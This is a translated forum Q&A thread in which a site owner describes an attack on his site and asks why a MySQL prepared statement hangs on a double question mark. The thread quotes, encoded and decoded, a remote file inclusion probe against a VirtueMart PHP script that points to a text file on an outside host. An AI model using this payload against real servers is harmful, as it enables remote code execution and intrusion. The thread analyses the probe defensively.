Недавняя веб-атака и использование в подготовленном MySQL заявлении - PullRequest
1 голос
/ 11 августа 2009

Недавно у меня была атака на мой сайт, и злоумышленник попытался изменить один из моих операторов SQL, добавив следующую строку

%2f%2fcomponents%2fcom%5fvirtuemart%2fshow%5fimage%5fin%5fimgtag%2ephp%3fmosConfig%5fabsolute%5fpath%3dhttp%3a%2f%2fwww%2ekwangsung%2ees%2ekr%2f%2fUserFiles%2fshirohige%2fzfxid%2etxt

к значению.

В любом случае, я не использую PHP или что-то подобное, но% 3f% 3f вызвал проблему: в вызове MySQL подготовить оператор, зависание double? S.

Кто-нибудь еще сталкивался с этой проблемой с двойными? S раньше? Я проверил сайт MySQL и ничего не нашел.

Ответы [ 2 ]

1 голос
/ 11 августа 2009

Это не атака с использованием SQL-инъекций, похоже, это проверка, если вы были уязвимы к какой-либо уязвимости "virtuemart".

//components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.kwangsung.es.kr//UserFiles/shirohige/zfxid.txt

Независимо от того, какой язык вы используете, вы не должны передавать произвольные данные GET в ваши запросы SQL. Вам необходимо внедрить некоторый тип проверки на стороне сервера, а также убедиться, что ваши запросы правильно экранируют весь пользовательский ввод.

0 голосов
/ 11 августа 2009

Извините, я разместил этот вопрос в другом браузере, используя незарегистрированный аккаунт.

Я забыл% 3f% 3f в конце строки, которую я включил.

Нет, это не инъекционная атака, это какая-то атака на какую-то PHP-программу, которую я не использую, но злоумышленник попытался в любом случае.

Я использую привязки C ++ к MySQL, в стеке. Подготовительное заявление висит с "??" Я могу проверить это с помощью других запросов, а не только тех, которые я получил в результате атаки.

Я беру входные данные и помещаю их в запрос, но моя платформа автоматически экранирует символы <> & "'для всех входов CGI, и я делаю дополнительные проверки в других местах для внедрения. Это фактически устаревший код. Более новая версия платформа позволяет только параметризованные SQL-запросы и только через RPC для базы данных, так что вы можете получить доступ только к определенным таблицам и строкам, доступным для RPC. Так что технически у меня больше не будет этой проблемы, но мне все еще интересно, почему "Кажется, висит.

Спасибо.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...